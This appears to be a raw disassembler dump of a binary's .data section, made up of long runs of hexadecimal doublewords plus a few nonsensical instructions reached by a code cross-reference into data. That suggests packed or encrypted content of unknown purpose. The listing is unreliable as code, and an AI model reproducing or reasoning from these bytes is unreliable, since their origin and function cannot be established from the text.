68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch dd 847C62C8h, 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h dd 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h dd 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch dd 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h dd 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h dd 20670AA9h, 3E5A250Bh dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h, 2A7829h dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh dd 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h dd 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h ; --------------------------------------------------------------------------- adc al, 4 pop es loc_4F8A1B: ; CODE XREF: .data:004F7A9Cj bound eax, [eax+56h] adc eax, [ecx+esi*4-27F222DFh] lock pop eax db 2Eh retn ; --------------------------------------------------------------------------- db 0D2h, 0ACh, 0 dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h dd 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh dd 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h dd 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h, 1470700h dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h, 0CF3FDA3h dd 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h, 10E08650h dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h, 24405FAAh dd 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h, 0B04C3AE0h dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h dd 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h, 8003BE03h dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah, 8AD20F20h dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h dd 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh, 24C02630h dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h, 1340555h dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh dd 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h, 7301FA00h dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h, 195A8C68h dd 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h, 1B48AC04h dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h, 4F53003Ch dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h, 77BBC36h dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h, 3C0C141Ch dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh, 3EA6734Ch dd 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h, 0A8E3453Bh dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h, 4BC3F300h dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h dd 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h, 2401303Ch dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh, 67E8E740h dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh, 0E802F061h dd 53515200h, 818FF689h, 0F4500084h, 1058E012h, 6E7E6463h dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh, 0A0002FBh dd 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h, 22000E74h dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h, 75EB0A02h dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h, 0D31C4148h dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h, 400EDE38h dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh, 76808B08h dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h dd 50154061h, 828C638h, 59EFFE00h, 74F1513Dh, 48E0006Fh dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h dd 2480A48Ch, 42C78F54h dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h, 9200A4B5h dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h dd 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch, 86E97282h dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h, 57221509h dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh dd 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h, 2690F1FAh dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h, 0BCFB82h dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah, 124F60F0h dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h, 0A005F8F5h dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch dd 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h, 68A2E984h dd 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h, 0E9A79504h dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h, 0DF5C44Dh dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h, 0FF03E990h dd 2F967100h, 2836156h, 417E1D05h, 3D2580EEh, 7594C81Ch dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h, 73870015h dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh, 1806BEh dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh, 47743E40h dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h, 6ECF7013h dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh, 587404CCh dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh, 73036EA0h dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h, 5138C2C7h dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch, 41151268h dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h, 0E03E60Bh dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h, 2712E5E4h dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh, 391EFA01h dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h, 213BA044h dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h dd 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h, 714AFC00h dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h, 5501D834h dd 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h, 248D5801h dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h, 3EA5CB29h dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h dd 4F8B0088h, 8334F1FCh dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h dd 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h, 0F7B400Eh dd 881266C8h, 